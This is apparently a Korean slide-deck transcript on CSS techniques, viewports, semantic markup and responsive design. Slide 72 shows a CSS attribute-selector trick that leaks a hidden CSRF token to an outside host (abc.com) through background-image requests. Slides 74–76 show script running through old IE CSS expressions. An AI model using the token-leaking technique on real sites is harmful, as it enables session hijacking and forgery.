  72. 72. Stealing data from the Dom <input type=”hidden” name=”csrf-token” id=”csrf” value=”abcdef...”> 요소의 속성값을 이용해 스타일을 변경할 수 있다 #csrf[value^=”a”] { background:url(/abc.com/?v=a) } #csrf[value^=”b”] { background:url(/abc.com/?v=b) } #csrf[value^=”c”] { background:url(/abc.com/?v=c) }
  73. 73. CSS Expressions in ≤ IE7 CSS Expressions는 IE5 ~ IE7까지 지원된다 #myDiv { background: hotpink; position: absolute; left: expression( document.body.clientWidth / 2 - myDiv.offsetWidth / 2 ); top: expression( document.body.clientHeight / 2 - myDiv.offsetHeight / 2 ); }
  74. 74. CSS Expressions in ≤ IE7 IE5 ~ IE 7 에선 CSS로 alert을 띄운다 * { width: expressions( alert(‘Can I use?’); ); }
  75. 75. CSS Expressions in ≤ IE7 alert을 한번만 띄우려면? * { width: expressions( if (!window.done) alert(‘Can I use?’), window.done=1 ); }
  76. 76. CSS Expressions in ≤ IE7 새창도 가능하다 * { WIT: expressions( if (!window.done) alert(‘UIT개발실 블로그’); open(‘http://wit.nts-corp.com’), window.done=1 ); }
  77. 77. key point • 때로는 엽기 코딩이 뜻밖의 결과를 가져온다 • 왜인지 알고 쓰자 • 코딩 컨벤션 한번 점검해야하지 않을까? • IE 5/6/7 너무 무시하지 말자
  78. 78. Session 5 - VIEW PORT
  79. 79. A pixel is not a pixel
  80. 80. 픽셀의 종류 픽셀에는 세종류가 있다 • CSS 픽셀 (CSS Pixel) CSS픽셀은 우리가 CSS에서 흔히 선언하는 width:190px이나 padding-left:20px과 같은 픽셀 단위이다 • 디바이스 픽셀 (Device Pixel) 디바이스의 물리적 픽셀. 디바이스 종류에 따라 크기는 다를 수 있다 • 밀도 독립 픽셀(Density-independent Pixel) 기기의 물리적 픽셀에 영향받지 않고 독립적 크기를 지정할 수 있는 가상적 픽셀단위이다
  81. 81. 34%
  82. 82. 뷰포트의 종류 뷰포트에는 두종류가 있다 • 레이아웃 뷰포트(layout viewport) 모바일기기의 기본적으로 레이아웃 뷰포트 사이즈는 768px~1024px 이다. 대부분 980px 사이즈를 많이 사용한다 많은 기술을 이용하여 레이아웃 뷰포트 사이즈를 재정의할 수 있다 • 비주얼 뷰포트 (visual viewport) 전체 페이지에서 현재 화면에 보이는 영역이다 레이아웃 뷰포트를 완전히 zoom out 상태에서 나타낼 수 있는 크기이다
  83. 83. 뷰포트 사이즈 측정 document.documentElement.clientWidth document.documentElement.clientHeight document.documentElement.clientWidth • 레이아웃 뷰포트 모든 디바이스에서 동작한다 window.innerWidth window.innerHeight • 비주얼 뷰포트 안드로이드 2, 오페라 미니, UC8에선 다른 값을 반환한다
  84. 84. 아이디얼 뷰포트(ideal viewport) 모바일 디바이스는 데스크탑과 다르게 아이디얼 뷰포트를 가지고 있다 • 모바일 브라우저 벤더는 모든 웹을 디바이스에 최적화시키려 한다 • 그래서 화면을 키우고 줄이는 수고를 덜 수 있다 • 따라서 사용자는 최적화된 콘텐츠를 읽을 수 있다 • 아이디얼 뷰포트는 디바이스에 최적화된 사이즈를 갖고 있다 • 화면에 보이는 본질적인 width/height 값이다
  85. 85. 아이디얼 뷰포트 사이즈 측정 screen.width screen.height • 아이디얼 뷰포트 몇몇의 브라우저는 screen.width/height를 아이디얼뷰포트 면적으로 계산한다 하지만 그 외의 브라우저는 디바이스의 픽셀수를 계산한다
  86. 86. 메타 뷰포트 메타뷰포트로 레이아웃 뷰포트 사이즈를 아이디얼 뷰포트에 맞게 설정한다 • 픽셀단위의 너비값을 설정할 수 있다 (width=400) • 아이디얼 뷰포트 사이즈를 넣을 수도 있다
  87. 87. 메타 뷰포트 메타 뷰포트는 픽셀과 아이디얼뷰포트 비율로 설정할 수 있다 <meta name=”viewport” content=”width=device-width”> <meta name=”viewport” content=”width=320”> <meta name=”viewport” content=”initial-scale = 1”> <meta name=”viewport” content=”initial-scale = 2”> <meta name=”viewport” content=”width=400, initial-scale = 1”> <meta name=”viewport” content=”width=device-width, initial-scale = 1”>
  88. 88. 메타 뷰포트 - CSS CSS로 뷰포트를 설정할 수 있다 오페라에서 최초 개발되었고 현재는 IE10/11만 지원한다 @media screen and (min-width: 640px) and (max-width: 1024px) { @-ms-viewport { width: 640px; } ... }
  89. 89. 미디어쿼리 미디어쿼리 사용시 고려해야 할 중요한 두가지가 있다 • device-width (min-device-width and max-device-width) screen.width와 같은 결과값이다 하지만 몇몇의 기기에선 디바이스의 픽셀수를 나타낸다 • width (min-width and max width) 아이디얼 뷰포트와 동일한 결과값을 얻을 수 있다 @media all and (max-width: 600px) { ... }
  90. 90. 픽셀 비율 디바이스의 픽셀수와 아이디얼 뷰포트 사이즈의 비율을 나타낸다 if (window.devicePixelRatio >= 2) @media all and ( (-webkit-min-device-pixel-ratio: 2), (min-resolution: 192dpi), )
  91. 91. key point • 레이아웃 뷰포트를 아이디얼 뷰포트에 맞춘다 • 자바스크립트로 뷰포트를 측정할 때 디바이스마다 조금씩 다를 수 있다 • 미디어 쿼리로 사이즈를 지정할 때 고정 사이즈 대신 범위 단위로 선언한다 (min/max-width)
  92. 92. Session 6 - EFFORTLESS STYLE
  93. 93. 시멘틱 마크업 컴퓨터 프로그램이 웹문서 안의 어떤 정보가 어떤 의미를 가지는지 잘 알아볼 수 있도록 HTML을 작성하는 방법 (의미론적 마크업)
  94. 94. class=” ”
  95. 95. 클래식과 시멘틱의 차이 클래식 마크업은 요소 의미에 관계없이 클래스에 의존한 마크업이며 시멘틱 마크업은 요소의 의미를 잘 살린 마크업이다
  96. 96. 불필요한 클래스는 제거 시멘틱 마크업만으로도 원하는 디자인을 표현할 수 있다
  97. 97. 상호운용성 (Interoperability) 정보처리 관련기기를 이용해서 처리된 정보가 다른 기기 이용자간에 원활하게 교환, 처리 가능한 것을 말하며, 기종이 다른 컴퓨터나 단말기를 연결해서 상호 이용한다는 뜻이다
  98. 98. 클래스의 남용 시멘틱 마크업을 위해선 클래스 사용을 자제해야한다 • Presentational Markup • 중복선언이 많아진다 • 다양한 디자인을 표현하기 힘들다 <ul class=”menu”> <li class=”menu__item”>...</li> <li class=”menu__item”>...</li> </ul>
  99. 99. 클래스 없이 표현 - HTML 클래스 없이도 요소를 설명할 수 있는 다양한 방법들이 있다 • Role attribute : 요소의 기능 설명한다 • Type attribute : 요소가 나타내는 기능을 지정한다 (form요소, script, embed, param 등) • Control Types : 폼요소들의 동작 상태를 표시한다 <button role=”시작버튼”>...</button> <input type=”checkbox”> <select selected=”selected”>...</select>
  100. 100. 클래스 없이 표현 - CSS CSS엔 클래스외에도 요소를 선택할 수 있는 다양한 셀렉터가 있다 • Relationship selector : 다음요소를 선택할 수 있다 • Attribute selector : 속성 선택자 • nth-child() selector : 수도 클래스이며 n번째 자녀를 선택할 수 있다 button[role=”tab”] { background-color: purple; } [role=”tab”] [aria-selected=”true”] { background-color: white; color: black; }
  101. 101. #wrap > * + * { margin-top:20px } A “relationship” selector 20px 20px 20px
  102. 102. :nth-child(3n+1) : last-child 7
  103. 103. ~ ~ 3 items in last row nth-last-child(3), nth-last-child(3) ~ li desired width : 100% / 3
  104. 104. @for $i from l through $cols { li:nth-child(#{$cols}n+1):nth-last-child(#{$i}) { width: 100% / $i; & ~ li { width: 100% / $i; } } } $cols = 3(or whatever)
  105. 105. payment page a[href^=”https”] { background-image:url(img/lock.png); }
  106. 106. External page a[href^="http:"]:not(href*=”this-domain.com”) { background-image:url(img/ico_external.png); }
  107. 107. key point • 의미에 맞는 태그를 썼으니 클래스는 남용해도 상관없다? • html 문서 가독성도 시멘틱의 일부이다 • 우리에게 클래스는 마크업 개발자와 프론트엔드 개발자의 영역을 명확하게 구분할 수 있는 중요한 열쇠이다 • 유지보수가 먼저일까? 시멘틱이 먼저일까?
  108. 108. Session 7 - RESPONSIVE DESIGN
  109. 109. 반응형 웹 구축 순서 1 2 3 4 Width (폭) Hierarchy (계층) Interaction (상호작용) Density (밀도)
  110. 110. 1 2 3 4 Width Hierarchy Interaction Density 940px 220px 742px 174px 좌측메뉴 너비 : 220 x 100 / 940 = 23% 본문 너비 : 720 x 100 / 940 = 77% http://tattly.com/
  111. 111. 1 2 3 4 http://tattly.com/ Width Hierarchy Interaction Density
  112. 112. 1 2 3 4 http://codepen.io/bradfrost/full/qwJvF Width Hierarchy Interaction Density
  113. 113. 1 2 3 4 http://www.bostonglobe.com/ Width Hierarchy Interaction Density
  114. 114. http://bradfrost.github.io/this-is-responsive/patterns.html http://mediaqueri.es/
  115. 115. 스타벅스 스타일 가이드 http://www.starbucks.com/static/reference/styleguide/
  116. 116. http://www.slideshare.net/deview/1openseminar
  117. 117. key point • 때로는 게을러져야 한다 • 버릴건 과감히 버리자 • 개발자들이 더욱 적극적으로 커뮤니케이션을 이끌어야 한다 • 당신이 보는 화면이 끝이 아니다. • 더 많이 테스트하라
  118. 118. http://cssday.nl/2014

×